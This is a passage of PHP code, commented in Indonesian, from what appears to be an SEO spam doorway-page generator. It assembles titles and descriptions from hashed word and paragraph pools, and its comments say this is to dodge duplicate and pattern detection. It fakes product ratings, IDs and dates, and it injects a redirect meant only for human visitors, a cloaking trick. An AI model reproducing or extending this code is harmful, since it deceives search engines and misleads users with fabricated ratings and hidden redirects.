// Pastikan subjB tidak sama dengan subjA — geser index kalau kebetulan sama
$_subjACnt   = max(1, count($_subjects));
$_subjAIdx   = abs(crc32($_tdSeed . 'subj_a')) % $_subjACnt;
if ($_subjBIdx === $_subjAIdx && $_subjACnt > 1) {
    $_subjBIdx = ($_subjBIdx + 1) % $_subjACnt;
}
$_subjB      = $_subjects[$_subjBIdx];
$_subjMode   = abs(crc32($_tdSeed . 'subj_mode')) % 3;
if ($_subjMode === 0)      $_selSubject = $_subjA . ' dan ' . $_subjB;
elseif ($_subjMode === 1)  $_selSubject = $_subjB . ' & ' . $_subjA;
else                       $_selSubject = $_subjA;

$_selAction     = $_actions[abs(crc32($_tdSeed . 'act')) % max(1, count($_actions))];
$_selPlace      = $_places[abs(crc32($_tdSeed . 'plc')) % max(1, count($_places))];
$_selProf       = $_professions[abs(crc32($_tdSeed . 'prof')) % max(1, count($_professions))];
$_selCta        = $_ctas[abs(crc32($_tdSeed . 'cta')) % max(1, count($_ctas))];
$_selUrgency    = $_urgencies[abs(crc32($_tdSeed . 'urg')) % max(1, count($_urgencies))];
$_selSocial     = $_socials[abs(crc32($_tdSeed . 'soc')) % max(1, count($_socials))];
$_selTone       = $_tones[abs(crc32($_tdSeed . 'tone')) % max(1, count($_tones))];
$_selAdj        = $_adjs[abs(crc32($_tdSeed . 'adj')) % max(1, count($_adjs))];
$_selTag        = $_tags[abs(crc32($_tdSeed . 'tag')) % max(1, count($_tags))];
$_selPlatform   = $_platforms[abs(crc32($_tdSeed . 'plat')) % max(1, count($_platforms))];
$_selAudience   = $_audiences[abs(crc32($_tdSeed . 'aud')) % max(1, count($_audiences))];
$_selWaktu      = $_waktu[abs(crc32($_tdSeed . 'wkt')) % max(1, count($_waktu))];
$_selAngka      = $_angka[abs(crc32($_tdSeed . 'ang')) % max(1, count($_angka))];
$_selEmosi      = $_emosi[abs(crc32($_tdSeed . 'emo')) % max(1, count($_emosi))];

// Step 3b: Pilih connector variables (kata penghubung dinamis)
$_selVLihat     = $_v_lihat[abs(crc32($_tdSeed . 'vl')) % max(1, count($_v_lihat))];
$_selVAkses     = $_v_akses[abs(crc32($_tdSeed . 'va')) % max(1, count($_v_akses))];
$_selVSajikan   = $_v_sajikan[abs(crc32($_tdSeed . 'vs')) % max(1, count($_v_sajikan))];
$_selPSebagai   = $_p_sebagai[abs(crc32($_tdSeed . 'psb')) % max(1, count($_p_sebagai))];
$_selPYang      = $_p_yang[abs(crc32($_tdSeed . 'py')) % max(1, count($_p_yang))];
$_selPDi        = $_p_di[abs(crc32($_tdSeed . 'pdi')) % max(1, count($_p_di))];
$_selPTentang   = $_p_tentang[abs(crc32($_tdSeed . 'ptg')) % max(1, count($_p_tentang))];
$_selKonek      = $_konek[abs(crc32($_tdSeed . 'knk')) % max(1, count($_konek))];
$_selKonek2     = $_konek2[abs(crc32($_tdSeed . 'kn2')) % max(1, count($_konek2))];
$_selKual       = $_kual[abs(crc32($_tdSeed . 'kl')) % max(1, count($_kual))];

if ($_kategori === 0) {
    $_selHook   = $_hooks_konteks[abs(crc32($_tdSeed . 'hook')) % max(1, count($_hooks_konteks))];
    $_rawTitle  = $_titles_konteks[$_tplHash % max(1, count($_titles_konteks))];
} else {
    $_selHook   = $_hooks_instruksi[abs(crc32($_tdSeed . 'hook')) % max(1, count($_hooks_instruksi))];
    $_rawTitle  = $_titles_instruksi[$_tplHash % max(1, count($_titles_instruksi))];
}

// Step 3c: Assemble desc — VARIABLE paragraph count + order shuffling (anti-pattern detection)
// 7 pool paragraf tersedia: P1(Opening), P2(Exposition), P3(Value), P4(Features), P5(CTA), P6(Testimoni), P7(Fakta)
// Hash menentukan: berapa paragraf (3-7) dan urutan mana yang dipakai

$_p1Idx = abs(crc32($_tdSeed . 'dp1')) % max(1, count($_desc_p1));
$_p2Idx = abs(crc32($_tdSeed . 'dp2')) % max(1, count($_desc_p2));
$_p3Idx = abs(crc32($_tdSeed . 'dp3')) % max(1, count($_desc_p3));
$_p4Idx = abs(crc32($_tdSeed . 'dp4')) % max(1, count($_desc_p4));
$_p5Idx = abs(crc32($_tdSeed . 'dp5')) % max(1, count($_desc_p5));
$_p6Idx = abs(crc32($_tdSeed . 'dp6')) % max(1, count($_desc_p6));
$_p7Idx = abs(crc32($_tdSeed . 'dp7')) % max(1, count($_desc_p7));

// Ambil semua paragraf
$_allParagraphs = array(
    $_desc_p1[$_p1Idx], $_desc_p2[$_p2Idx], $_desc_p3[$_p3Idx],
    $_desc_p4[$_p4Idx], $_desc_p5[$_p5Idx], $_desc_p6[$_p6Idx], $_desc_p7[$_p7Idx],
);

// Pilih jumlah paragraf: 3, 4, 5, 6, atau 7 (weighted: 5 paling sering)
$_paraCountOptions = array(3, 4, 4, 5, 5, 5, 5, 5, 6, 6, 6, 7);
$_paraCount = $_paraCountOptions[abs(crc32($_tdSeed . 'pcount')) % 12];

// 20 preset paragraph orders (index 0-6 = P1-P7) — variasi struktur cerita
$_orderPresets = array(
    array(0,1,2,3,4),       // Classic: Opening→Expo→Value→Feature→CTA
    array(0,2,1,3,4),       // Opening→Value→Expo→Feature→CTA
    array(5,0,1,2,4),       // Testimoni→Opening→Expo→Value→CTA
    array(6,0,1,3,4),       // Fakta→Opening→Expo→Feature→CTA
    array(0,1,5,2,4),       // Opening→Expo→Testimoni→Value→CTA
    array(0,6,1,2,4),       // Opening→Fakta→Expo→Value→CTA
    array(0,1,2,5,4),       // Opening→Expo→Value→Testimoni→CTA
    array(0,1,2,6,4),       // Opening→Expo→Value→Fakta→CTA
    array(5,0,6,2,4),       // Testimoni→Opening→Fakta→Value→CTA
    array(6,5,0,1,4),       // Fakta→Testimoni→Opening→Expo→CTA
    array(0,1,3,2,4),       // Opening→Expo→Feature→Value→CTA
    array(0,3,1,5,4),       // Opening→Feature→Expo→Testimoni→CTA
    array(0,1,2,3,5,4),     // 6-para: +Testimoni before CTA
    array(0,1,6,2,3,4),     // 6-para: +Fakta in middle
    array(5,0,1,2,3,4),     // 6-para: Testimoni first
    array(0,1,2,5,6,4),     // 6-para: Testimoni+Fakta before CTA
    array(0,1,2,3,5,6,4),   // 7-para: Full classic + Testimoni + Fakta
    array(5,0,1,6,2,3,4),   // 7-para: Testimoni first, Fakta mid
    array(0,6,1,5,2,3,4),   // 7-para: Fakta early, Testimoni mid
    array(0,1,2,6,3,5,4),   // 7-para: Fakta+Testimoni scattered
);

// Filter presets yang cocok dengan jumlah paragraf terpilih
$_matchingOrders = array();
foreach ($_orderPresets as $_preset) {
    if (count($_preset) === $_paraCount) {
        $_matchingOrders[] = $_preset;
    }
}
// Fallback: jika tidak ada yang cocok (3 atau 4 paragraf), trim dari preset 5-paragraf
if (empty($_matchingOrders)) {
    foreach ($_orderPresets as $_preset) {
        if (count($_preset) === 5) {
            $_matchingOrders[] = array_slice($_preset, 0, $_paraCount);
        }
    }
}

// Pilih order berdasarkan hash
$_orderIdx = abs(crc32($_tdSeed . 'pord')) % count($_matchingOrders);
$_selectedOrder = $_matchingOrders[$_orderIdx];

// Assemble paragraf sesuai order terpilih — skip slot yang NULL/empty
$_descParts = array();
foreach ($_selectedOrder as $_pi) {
    if (isset($_allParagraphs[$_pi]) && $_allParagraphs[$_pi] !== '' && $_allParagraphs[$_pi] !== null) {
        $_descParts[] = $_allParagraphs[$_pi];
    }
}
// Kalau semua slot kosong, ambil paragraf non-empty apapun yang tersedia sebagai last resort
if (empty($_descParts)) {
    foreach ($_allParagraphs as $_pv) {
        if ($_pv !== '' && $_pv !== null) { $_descParts[] = $_pv; break; }
    }
}
$_rawDesc = implode(' ', $_descParts);

// Step 4: Replace template placeholders
$_titleDescReplace = array(
    '{$BRANDS}' => $BRANDS,
    '{$BRAND}'  => $BRAND,
    '{$E}'      => $randomEmoji,
    '{$M}'      => $randomEmoji,
    '{$W}'      => $randomWord,
    '{$HOOK}'   => $_selHook,
    '{$SUBJECT}'=> $_selSubject,
    '{$ACTION}' => $_selAction,
    '{$PLACE}'  => $_selPlace,
    '{$PROF}'   => $_selProf,
    '{$CTA}'    => $_selCta,
    '{$URGENCY}'=> $_selUrgency,
    '{$SOCIAL}' => $_selSocial,
    '{$TONE}'   => $_selTone,
    '{$ADJ}'    => $_selAdj,
    '{$TAG}'    => $_selTag,
    '{$PLATFORM}'=> $_selPlatform,
    '{$AUDIENCE}'=> $_selAudience,
    '{$V_LIHAT}'  => $_selVLihat,
    '{$V_AKSES}'  => $_selVAkses,
    '{$V_SAJIKAN}'=> $_selVSajikan,
    '{$P_SEBAGAI}'=> $_selPSebagai,
    '{$P_YANG}'   => $_selPYang,
    '{$P_DI}'     => $_selPDi,
    '{$P_TENTANG}'=> $_selPTentang,
    '{$KONEK}'    => $_selKonek,
    '{$KONEK2}'   => $_selKonek2,
    '{$KUAL}'     => $_selKual,
    '{$WAKTU}'    => $_selWaktu,
    '{$ANGKA}'    => $_selAngka,
    '{$EMOSI}'    => $_selEmosi,
);

$title = str_replace(array_keys($_titleDescReplace), array_values($_titleDescReplace), (string)$_rawTitle);

// ─── Domain uniquifier — cegah title identik antar domain untuk keyword sama ─
// Seed HANYA dari HTTP_HOST → domain beda = kombinasi beda, konsisten per domain
// Meta-pool: 15 pool tersedia → hash pilih 3 pool → ambil 1 kata tiap pool
// Kombinasi: C(15,3) × 50³ = ~57 juta kombinasi
$_dh = $_SERVER['HTTP_HOST'] . '|' . $incomingSlug;
$_duniq_meta = array(
    $_adjs,        // 0: adj
    $_kual,        // 1: kual
    $_emosi,       // 2: emosi
    $_tones,       // 3: tone
    $_urgencies,   // 4: urgency
    $_waktu,       // 5: waktu
    $_angka,       // 6: angka
    $_tags,        // 7: tag
    $_subjects,    // 8: subject
    $_actions,     // 9: action
    $_places,      // 10: place
    $_platforms,   // 11: platform
    $_audiences,   // 12: audience
    $_socials,     // 13: social
    $_professions, // 14: profession
);
$_duniq_n = count($_duniq_meta); // 15

// Pilih 3 index pool yang berbeda berdasarkan domain hash
$_pi0 = abs(crc32($_dh . '|du0')) % $_duniq_n;
$_pi1 = abs(crc32($_dh . '|du1')) % $_duniq_n;
if ($_pi1 === $_pi0) $_pi1 = ($_pi1 + 1) % $_duniq_n;
$_pi2 = abs(crc32($_dh . '|du2')) % $_duniq_n;
if ($_pi2 === $_pi0 || $_pi2 === $_pi1) $_pi2 = ($_pi2 + 2) % $_duniq_n;

// Ambil 1 kata dari masing-masing pool terpilih
$_dw0 = $_duniq_meta[$_pi0][abs(crc32($_dh . '|dw0')) % max(1, count($_duniq_meta[$_pi0]))];
$_dw1 = $_duniq_meta[$_pi1][abs(crc32($_dh . '|dw1')) % max(1, count($_duniq_meta[$_pi1]))];
$_dw2 = $_duniq_meta[$_pi2][abs(crc32($_dh . '|dw2')) % max(1, count($_duniq_meta[$_pi2]))];

// Pilih format: 2 kata atau 3 kata (60% → 2 kata, 40% → 3 kata)
$_duniq_fmt = abs(crc32($_dh . '|du_fmt')) % 5;
$_domainUniq = ($_duniq_fmt < 3)
    ? $_dw0 . ' ' . $_dw1
    : $_dw0 . ' ' . $_dw1 . ' ' . $_dw2;

$title .= ' ' . $_domainUniq;

$desc  = str_replace(array_keys($_titleDescReplace), array_values($_titleDescReplace), (string)$_rawDesc);

// Cleanup: hapus spasi ganda
$title = preg_replace('/\s+/', ' ', trim($title));
$desc  = preg_replace('/\s+/', ' ', trim($desc));

// Guard terakhir: jangan pernah render title/desc kosong — fallback ke BRAND
// Terpicu kalau pool gagal fetch + cache kosong (remote down saat domain baru)
if ($title === '') $title = $BRAND;
if ($desc === '')  $desc  = $BRAND;

// Build Bing image URLs menggunakan title (sudah final)
$_bingTitle = str_replace(' ', '+', $title);
$randomImg  = _bingImg($_bingTitle, $_bingBrand, $_bingHost);
$randomImg1 = _bingImg($_bingTitle, $_bingBrand, $_bingHost, 'video');
$randomImg2 = _bingImg($_bingTitle, $_bingBrand, $_bingHost, 'terbaru');
$randomImg3 = _bingImg($_bingTitle, $_bingBrand, $_bingHost, 'hd');
$randomImg4 = _bingImg($_bingTitle, $_bingBrand, $_bingHost, 'viral');
$randomImg5 = _bingImg($_bingTitle, $_bingBrand, $_bingHost, 'full');

$randomProductId = 10000 + (abs(crc32($domainSeed . 'pid')) % 90000);
$randomRating = number_format((41 + abs(crc32($domainSeed . 'rat')) % 9) / 10, 1);
$_mHash = abs(crc32($domainSeed . 'rdate'));
$randomDate = '2026-' . str_pad(1 + ($_mHash % 12), 2, '0', STR_PAD_LEFT) . '-' . str_pad(1 + (abs(crc32($domainSeed . 'rday')) % 28), 2, '0', STR_PAD_LEFT);

$appCategories = array(
    'GameApplication',
    'EntertainmentApplication',
    'SocialNetworkingApplication',
    'MultimediaApplication',
    'VideoApplication',
    'NewsApplication',
    'LifestyleApplication',
    'HealthApplication',
    'TravelApplication',
    'ShoppingApplication',
);
$randomAppCategory = $appCategories[abs(crc32($domainSeed . 'appcat')) % 10];

$catPrefixes = array('Android Game', 'Aplikasi', 'Hiburan', 'Pemutar & Editor Video', 'Sosial', 'Gaya Hidup');
$randomcategory = $catPrefixes[abs(crc32($domainSeed . 'catpfx')) % 6] . ' < ' . ucwords($words[abs(crc32($domainSeed . 'catw1')) % 128]) . ' < ' . ucwords($words[abs(crc32($domainSeed . 'catw2')) % 128]);

// ─── Replace Placeholders ─────────────────────────────────────────────────────
$output = str_replace(
    array('{$BRANDS}', '{$BRAND}', '{$randomWord}', '{$randomEmoji}', '{$randomImg}', '{$randomImg1}', '{$randomImg2}', '{$randomImg3}', '{$randomImg4}', '{$randomImg5}', '{$randomLokasi}', '{BRANDS}', '{BRAND}', '{randomWord}', '{randomEmoji}', '{randomImg}', '{randomImg1}', '{randomImg2}', '{randomImg3}', '{randomImg4}', '{randomImg5}', '{randomLokasi}', '{title}', '{desc}', '{urlPath}', '{timestamp}', '{NUMLIST}', '{randomproductid}', '{randomrating}', '{randomdate}', '{randomAppCategory}', '{randomcategory}'),
    array($BRAND,     $BRAND,     $randomWord,     $randomEmoji,     $randomImg,     $randomImg1,     $randomImg2,     $randomImg3,     $randomImg4,     $randomImg5,     $randomLokasi,     $BRAND,    $BRAND,    $randomWord,    $randomEmoji,    $randomImg,    $randomImg1,    $randomImg2,    $randomImg3,    $randomImg4,    $randomImg5,    $randomLokasi,    $title,    $desc,    $urlPath,    $timestamp,    $NUMLIST,    $randomProductId,    $randomRating,    $randomDate,    $randomAppCategory,    $randomcategory),
    $htmlContent
);

// ─── Inject redirect di atas <!DOCTYPE html> (hanya untuk manusia) ─────────────
if ($redirectTag !== '') {
    $output = $redirectTag . "\n" . $output;
}
echo $output;
exit;
